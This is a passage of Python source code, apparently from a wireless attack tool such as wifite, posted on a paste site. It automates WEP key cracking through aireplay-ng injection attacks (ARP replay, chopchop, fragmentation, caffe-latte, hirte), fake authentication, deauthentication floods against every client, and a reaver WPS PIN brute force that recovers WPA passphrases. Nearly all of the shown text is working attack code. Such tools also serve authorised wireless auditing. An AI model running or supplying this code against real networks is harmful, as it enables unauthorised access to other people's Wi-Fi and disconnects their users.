  2649.                 while started_cracking: # ivs > WEP_CRACK_AT_IVS:
  2650.                     time.sleep(5)
  2651.                     # Check number of IVs captured
  2652.                     csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0]
  2653.                     if len(csv) > 0:
  2654.                         ivs = int(csv[0].data)
  2655.                         print GR+" [endless]"+W+" captured %s%d%s ivs, iv/sec: %s%d%s  \r" % \
  2656.                                                  (G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
  2657.                         last_ivs = ivs
  2658.                         stdout.flush()
  2659.  
  2660.                     # Check if key has been cracked yet.
  2661.                     if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'):
  2662.                         # Cracked!
  2663.                         infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r')
  2664.                         key = infile.read().replace('\n', '')
  2665.                         infile.close()
  2666.                         print GR+'\n\n [endless] %s %s (%s)! key: "%s"' % (G+'cracked', self.target.ssid+W, G+self.target.bssid+W, C+key+W)
  2667.                         self.RUN_CONFIG.WEP_FINDINGS.append('cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
  2668.                         self.RUN_CONFIG.WEP_FINDINGS.append('')
  2669.  
  2670.                         t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
  2671.                         t.key = key
  2672.                         self.RUN_CONFIG.save_cracked(t)
  2673.  
  2674.                         # Kill processes
  2675.                         send_interrupt(proc_airodump)
  2676.                         send_interrupt(proc_aireplay)
  2677.                         send_interrupt(proc_aircrack)
  2678.                         # Remove files generated by airodump/aireplay/packetforce
  2679.                         remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2680.                         remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2681.                         return True
  2682.  
  2683.             # Keyboard interrupt during attack
  2684.             except KeyboardInterrupt:
  2685.                 print R+'\n (^C)'+O+' WEP attack interrupted\n'+W
  2686.  
  2687.                 send_interrupt(proc_airodump)
  2688.                 if proc_aireplay != None:
  2689.                     send_interrupt(proc_aireplay)
  2690.                 if proc_aircrack != None:
  2691.                     send_interrupt(proc_aircrack)
  2692.  
  2693.                 options = []
  2694.                 selections = []
  2695.                 if remaining_attacks > 0:
  2696.                     options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \
  2697.                                             (G, W, (remaining_attacks), 's' if remaining_attacks != 1 else ''))
  2698.                     selections.append(G+'c'+W)
  2699.  
  2700.                 if self.RUN_CONFIG.TARGETS_REMAINING > 0:
  2701.                     options.append('%sskip%s     this target, move onto next target (%d remaining target%s)' % \
  2702.                                         (O, W, self.RUN_CONFIG.TARGETS_REMAINING, 's' if self.RUN_CONFIG.TARGETS_REMAINING != 1 else ''))
  2703.                     selections.append(O+'s'+W)
  2704.  
  2705.                 options.append('%sexit%s     the program completely' % (R, W))
  2706.                 selections.append(R+'e'+W)
  2707.  
  2708.                 if len(options) > 1:
  2709.                     # Ask user what they want to do, Store answer in "response"
  2710.                     print GR+' [+]'+W+' what do you want to do?'
  2711.                     response = ''
  2712.                     while response != 'c' and response != 's' and response != 'e':
  2713.                         for option in options:
  2714.                             print '     %s' % option
  2715.                         response = raw_input(GR+' [+]'+W+' please make a selection (%s): ' % (', '.join(selections))).lower()[0]
  2716.                 else:
  2717.                     response = 'e'
  2718.  
  2719.                 if response == 'e' or response == 's':
  2720.                     # Exit or skip target (either way, stop this attack)
  2721.                     if self.RUN_CONFIG.WEP_SAVE:
  2722.                         # Save packets
  2723.                         save_as = re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) + '_' + self.target.bssid.replace(':', '-') + '.cap'+W
  2724.                         try:            rename(self.RUN_CONFIG.temp + 'wep-01.cap', save_as)
  2725.                         except OSError: print R+' [!]'+O+' unable to save capture file!'+W
  2726.                         else:           print GR+' [+]'+W+' packet capture '+G+'saved'+W+' to '+G+save_as+W
  2727.  
  2728.                     # Remove files generated by airodump/aireplay/packetforce
  2729.                     for filename in os.listdir('.'):
  2730.                         if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  2731.                             remove_file(filename)
  2732.                     remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2733.                     remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2734.                     print ''
  2735.                     if response == 'e':
  2736.                         self.RUN_CONFIG.exit_gracefully(0)
  2737.                     return
  2738.  
  2739.                 elif response == 'c':
  2740.                     # Continue attacks
  2741.                     # Need to backup temp/wep-01.cap and remove airodump files
  2742.                     i= 2
  2743.                     while os.path.exists(self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap'):
  2744.                         i += 1
  2745.                     copy(self.RUN_CONFIG.temp + "wep-01.cap", self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap')
  2746.                     remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2747.  
  2748.                     # Need to restart airodump-ng, as it's been interrupted/killed
  2749.                     proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
  2750.  
  2751.                     # Say we haven't started cracking yet, so we re-start if needed.
  2752.                     started_cracking = False
  2753.  
  2754.                     # Reset IVs counters for proper behavior
  2755.                     total_ivs += ivs
  2756.                     ivs = 0
  2757.                     last_ivs = 0
  2758.  
  2759.                     # Also need to remember to crack "temp/*.cap" instead of just wep-01.cap
  2760.                     pass
  2761.  
  2762.  
  2763.         if successful:
  2764.             print GR+'\n [0:00:00]'+W+' attack complete: '+G+'success!'+W
  2765.         else:
  2766.             print GR+'\n [0:00:00]'+W+' attack complete: '+R+'failure'+W
  2767.  
  2768.         send_interrupt(proc_airodump)
  2769.         if proc_aireplay != None:
  2770.             send_interrupt(proc_aireplay)
  2771.  
  2772.         # Remove files generated by airodump/aireplay/packetforce
  2773.         for filename in os.listdir('.'):
  2774.             if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  2775.                 remove_file(filename)
  2776.         remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2777.         remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2778.  
  2779.     def wep_fake_auth(self, iface, target, time_to_display):
  2780.         """
  2781.            Attempt to (falsely) authenticate with a WEP access point.
  2782.            Gives 3 seconds to make each 5 authentication attempts.
  2783.            Returns True if authentication was successful, False otherwise.
  2784.        """
  2785.         max_wait = 3 # Time, in seconds, to allow each fake authentication
  2786.         max_attempts = 5 # Number of attempts to make
  2787.  
  2788.         for fa_index in xrange(1, max_attempts + 1):
  2789.             print '\r                                                            ',
  2790.             print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \
  2791.                    (GR+time_to_display+W, G, W, fa_index, max_attempts),
  2792.             stdout.flush()
  2793.  
  2794.             cmd = ['aireplay-ng',
  2795.                    '--ignore-negative-one',
  2796.                    '-1', '0', # Fake auth, no delay
  2797.                    '-a', target.bssid,
  2798.                    '-T', '1'] # Make 1 attempt
  2799.             if target.ssid != '':
  2800.                 cmd.append('-e')
  2801.                 cmd.append(target.ssid)
  2802.             cmd.append(iface)
  2803.  
  2804.             proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)
  2805.             started = time.time()
  2806.             while proc_fakeauth.poll() == None and time.time() - started <= max_wait: pass
  2807.             if time.time() - started > max_wait:
  2808.                 send_interrupt(proc_fakeauth)
  2809.                 print R+'failed'+W,
  2810.                 stdout.flush()
  2811.                 time.sleep(0.5)
  2812.                 continue
  2813.  
  2814.             result = proc_fakeauth.communicate()[0].lower()
  2815.             if result.find('switching to shared key') != -1 or \
  2816.                  result.find('rejects open system'): pass
  2817.             if result.find('association successful') != -1:
  2818.                 print G+'success!'+W
  2819.                 return True
  2820.  
  2821.             print R+'failed'+W,
  2822.             stdout.flush()
  2823.             time.sleep(0.5)
  2824.             continue
  2825.         print ''
  2826.         return False
  2827.  
  2828.     def get_aireplay_command(self, iface, attack_num, target, clients, client_mac):
  2829.         """
  2830.            Returns aireplay-ng command line arguments based on parameters.
  2831.        """
  2832.         cmd = ''
  2833.         if attack_num == 0:
  2834.             cmd = ['aireplay-ng',
  2835.                    '--ignore-negative-one',
  2836.                    '--arpreplay',
  2837.                    '-b', target.bssid,
  2838.                    '-x', str(self.RUN_CONFIG.WEP_PPS)] # Packets per second
  2839.             if client_mac != '':
  2840.                 cmd.append('-h')
  2841.                 cmd.append(client_mac)
  2842.             elif len(clients) > 0:
  2843.                 cmd.append('-h')
  2844.                 cmd.append(clients[0].bssid)
  2845.             cmd.append(iface)
  2846.  
  2847.         elif attack_num == 1:
  2848.             cmd = ['aireplay-ng',
  2849.                    '--ignore-negative-one',
  2850.                    '--chopchop',
  2851.                    '-b', target.bssid,
  2852.                    '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
  2853.                    '-m', '60', # Minimum packet length (bytes)
  2854.                    '-n', '82', # Maxmimum packet length
  2855.                    '-F'] # Automatically choose the first packet
  2856.             if client_mac != '':
  2857.                 cmd.append('-h')
  2858.                 cmd.append(client_mac)
  2859.             elif len(clients) > 0:
  2860.                 cmd.append('-h')
  2861.                 cmd.append(clients[0].bssid)
  2862.             cmd.append(iface)
  2863.  
  2864.         elif attack_num == 2:
  2865.             cmd = ['aireplay-ng',
  2866.                    '--ignore-negative-one',
  2867.                    '--fragment',
  2868.                    '-b', target.bssid,
  2869.                    '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
  2870.                    '-m', '100', # Minimum packet length (bytes)
  2871.                    '-F'] # Automatically choose the first packet
  2872.             if client_mac != '':
  2873.                 cmd.append('-h')
  2874.                 cmd.append(client_mac)
  2875.             elif len(clients) > 0:
  2876.                 cmd.append('-h')
  2877.                 cmd.append(clients[0].bssid)
  2878.             cmd.append(iface)
  2879.  
  2880.         elif attack_num == 3:
  2881.             cmd = ['aireplay-ng',
  2882.                    '--ignore-negative-one',
  2883.                    '--caffe-latte',
  2884.                    '-b', target.bssid]
  2885.             if len(clients) > 0:
  2886.                 cmd.append('-h')
  2887.                 cmd.append(clients[0].bssid)
  2888.             cmd.append(iface)
  2889.  
  2890.         elif attack_num == 4:
  2891.             cmd = ['aireplay-ng',
  2892.                    '--ignore-negative-one',
  2893.                    '--interactive',
  2894.                    '-b', target.bssid,
  2895.                    '-c', 'ff:ff:ff:ff:ff:ff',
  2896.                    '-t', '1', # Only select packets with ToDS bit set
  2897.                    '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
  2898.                    '-F',      # Automatically choose the first packet
  2899.                    '-p', '0841']
  2900.             cmd.append(iface)
  2901.  
  2902.         elif attack_num == 5:
  2903.             if len(clients) == 0:
  2904.                 print R+' [0:00:00] unable to carry out hirte attack: '+O+'no clients'
  2905.                 return ''
  2906.             cmd = ['aireplay-ng',
  2907.                    '--ignore-negative-one',
  2908.                    '--cfrag',
  2909.                    '-h', clients[0].bssid,
  2910.                    iface]
  2911.  
  2912.         return cmd
  2913.  
  2914.     def wep_send_deauths(self, iface, target, clients):
  2915.         """
  2916.            Sends deauth packets to broadcast and every client.
  2917.        """
  2918.         # Send deauth to broadcast
  2919.         cmd = ['aireplay-ng',
  2920.                '--ignore-negative-one',
  2921.                '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  2922.                '-a', target.bssid,
  2923.                iface]
  2924.         call(cmd, stdout=DN, stderr=DN)
  2925.         # Send deauth to every client
  2926.         for client in clients:
  2927.             cmd = ['aireplay-ng',
  2928.                      '--ignore-negative-one',
  2929.                      '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  2930.                      '-a', target.bssid,
  2931.                      '-h', client.bssid,
  2932.                      iface]
  2933.             call(cmd, stdout=DN, stderr=DN)
  2934.  
  2935.  
  2936. #################
  2937. # WPS FUNCTIONS #
  2938. #################
  2939. class WPSAttack(Attack):
  2940.  
  2941.     def __init__(self, iface, target, config):
  2942.         self.iface = iface
  2943.         self.target = target
  2944.         self.RUN_CONFIG = config
  2945.  
  2946.     def RunAttack(self):
  2947.         '''
  2948.            Abstract method for initializing the WPS attack
  2949.        '''
  2950.         self.attack_wps()
  2951.  
  2952.     def EndAttack(self):
  2953.         '''
  2954.            Abstract method for ending the WPS attack
  2955.        '''
  2956.         pass
  2957.  
  2958.     def attack_wps(self):
  2959.         """
  2960.            Mounts attack against target on iface.
  2961.            Uses "reaver" to attempt to brute force the PIN.
  2962.            Once PIN is found, PSK can be recovered.
  2963.            PSK is displayed to user and added to WPS_FINDINGS
  2964.        """
  2965.         print GR+' [0:00:00]'+W+' initializing %sWPS PIN attack%s on %s' % \
  2966.                      (G, W, G+self.target.ssid+W+' ('+G+self.target.bssid+W+')'+W)
  2967.  
  2968.         cmd = ['reaver',
  2969.                '-i', self.iface,
  2970.                '-b', self.target.bssid,
  2971.                '-o', self.RUN_CONFIG.temp + 'out.out', # Dump output to file to be monitored
  2972.                '-a',  # auto-detect best options, auto-resumes sessions, doesn't require input!
  2973.                '-c', self.target.channel,
  2974.                # '--ignore-locks',
  2975.                '-vv']  # verbose output
  2976.         proc = Popen(cmd, stdout=DN, stderr=DN)
  2977.  
  2978.         cracked = False   # Flag for when password/pin is found
  2979.         percent = 'x.xx%' # Percentage complete
  2980.         aps     = 'x'     # Seconds per attempt
  2981.         time_started = time.time()
  2982.         last_success = time_started # Time of last successful attempt
  2983.         last_pin = ''     # Keep track of last pin tried (to detect retries)
  2984.         retries  = 0      # Number of times we have attempted this PIN
  2985.         tries_total = 0      # Number of times we have attempted all pins
  2986.         tries    = 0      # Number of successful attempts
  2987.         pin = ''
  2988.         key = ''
  2989.  
  2990.         try:
  2991.             while not cracked:
  2992.                 time.sleep(1)
  2993.  
  2994.                 if proc.poll() != None:
  2995.                     # Process stopped: Cracked? Failed?
  2996.                     inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  2997.                     lines = inf.read().split('\n')
  2998.                     inf.close()
  2999.                     for line in lines:
  3000.                         # When it's cracked:
  3001.                         if line.find("WPS PIN: '") != -1:
  3002.                             pin = line[line.find("WPS PIN: '") + 10:-1]
  3003.                         if line.find("WPA PSK: '") != -1:
  3004.                             key = line[line.find("WPA PSK: '") + 10:-1]
  3005.                             cracked = True
  3006.                     break
  3007.  
  3008.                 if not os.path.exists(self.RUN_CONFIG.temp + 'out.out'): continue
  3009.  
  3010.                 inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  3011.                 lines = inf.read().split('\n')
  3012.                 inf.close()
  3013.  
  3014.                 for line in lines:
  3015.                     if line.strip() == '': continue
  3016.                     # Status
  3017.                     if line.find(' complete @ ') != -1 and len(line) > 8:
  3018.                         percent = line.split(' ')[1]
  3019.                         i = line.find(' (')
  3020.                         j = line.find(' seconds/', i)
  3021.                         if i != -1 and j != -1: aps = line[i+2:j]
  3022.                     # PIN attempt
  3023.                     elif line.find(' Trying pin ') != -1:
  3024.                         pin = line.strip().split(' ')[-1]
  3025.                         if pin == last_pin:
  3026.                             retries += 1
  3027.                         elif tries_total == 0:
  3028.                             last_pin = pin
  3029.                             tries_total -= 1
  3030.                         else:
  3031.                             last_success = time.time()
  3032.                             tries += 1
  3033.                             last_pin = pin
  3034.                             retries = 0
  3035.                         tries_total += 1
  3036.  
  3037.                     # Warning
  3038.                     elif line.endswith('10 failed connections in a row'): pass
  3039.  
  3040.                     # Check for PIN/PSK
  3041.                     elif line.find("WPS PIN: '") != -1:
  3042.                         pin = line[line.find("WPS PIN: '") + 10:-1]
  3043.                     elif line.find("WPA PSK: '") != -1:
  3044.                         key = line[line.find("WPA PSK: '") + 10:-1]
  3045.                         cracked = True
  3046.                     if cracked: break
  3047.  
  3048.                 print ' %s WPS attack, %s success/ttl,' % \
  3049.                                         (GR+sec_to_hms(time.time()-time_started)+W, \
  3050.                                         G+str(tries)+W+'/'+O+str(tries_total)+W),
  3051.  
  3052.                 if percent == 'x.xx%' and aps == 'x': print '\r',
  3053.                 else:
  3054.                     print '%s complete (%s sec/att)   \r' % (G+percent+W, G+aps+W),
  3055.  
  3056.  
  3057.                 if self.RUN_CONFIG.WPS_TIMEOUT > 0 and (time.time() - last_success) > self.RUN_CONFIG.WPS_TIMEOUT:
  3058.                     print R+'\n [!]'+O+' unable to complete successful try in %d seconds' % (self.RUN_CONFIG.WPS_TIMEOUT)
  3059.                     print R+' [+]'+W+' skipping %s' % (O+self.target.ssid+W)
  3060.                     break
  3061.  
  3062.                 if self.RUN_CONFIG.WPS_MAX_RETRIES > 0 and retries > self.RUN_CONFIG.WPS_MAX_RETRIES:
  3063.                     print R+'\n [!]'+O+' unable to complete successful try in %d retries' % (self.RUN_CONFIG.WPS_MAX_RETRIES)
  3064.                     print R+' [+]'+O+' the access point may have WPS-locking enabled, or is too far away'+W
  3065.                     print R+' [+]'+W+' skipping %s' % (O+self.target.ssid+W)
  3066.                     break
  3067.  
  3068.                 if self.RUN_CONFIG.WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and (float(tries) / tries_total) < self.RUN_CONFIG.WPS_RATIO_THRESHOLD:
  3069.                     print R+'\n [!]'+O+' successful/total attempts ratio was too low (< %.2f)' % (self.RUN_CONFIG.WPS_RATIO_THRESHOLD)
  3070.                     print R+' [+]'+W+' skipping %s' % (G+self.target.ssid+W)
  3071.                     break
  3072.  
  3073.                 stdout.flush()
  3074.                 # Clear out output file if bigger than 1mb
  3075.                 inf = open(self.RUN_CONFIG.temp + 'out.out', 'w')
  3076.                 inf.close()
  3077.  
  3078.             # End of big "while not cracked" loop
  3079.  
  3080.             if cracked:
  3081.                 if pin != '': print GR+'\n\n [+]'+G+' PIN found:     %s' % (C+pin+W)
  3082.                 if key != '': print GR+' [+] %sWPA key found:%s %s' % (G, W, C+key+W)
  3083.                 self.RUN_CONFIG.WPA_FINDINGS.append(W+"found %s's WPA key: \"%s\", WPS PIN: %s" % (G+self.target.ssid+W, C+key+W, C+pin+W))
  3084.                 self.RUN_CONFIG.WPA_FINDINGS.append('')
  3085.  
  3086.                 t = Target(self.target.bssid, 0,0,0, 'WPA', self.target.ssid)
  3087.                 t.key = key
  3088.                 t.wps = pin
  3089.                 self.RUN_CONFIG.save_cracked(t)
  3090.  
  3091.         except KeyboardInterrupt:
  3092.             print R+'\n (^C)'+O+' WPS brute-force attack interrupted'+W
  3093.             if attack_interrupted_prompt():
  3094.                 send_interrupt(proc)
  3095.                 print ''
  3096.                 self.RUN_CONFIG.exit_gracefully(0)
  3097.  
  3098.         send_interrupt(proc)
  3099.  
  3100.         return cracked
  3101.  
  3102.  
  3103. if __name__ == '__main__':
  3104.     RUN_CONFIG = RunConfiguration()
  3105.     try:
  3106.         banner(RUN_CONFIG)
  3107.         engine = RunEngine(RUN_CONFIG)
  3108.         engine.Start()
  3109.         #main(RUN_CONFIG)
  3110.     except KeyboardInterrupt: print R+'\n (^C)'+O+' interrupted\n'+W
  3111.     except EOFError:          print R+'\n (^D)'+O+' interrupted\n'+W
  3112.  
  3113.     RUN_CONFIG.exit_gracefully(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement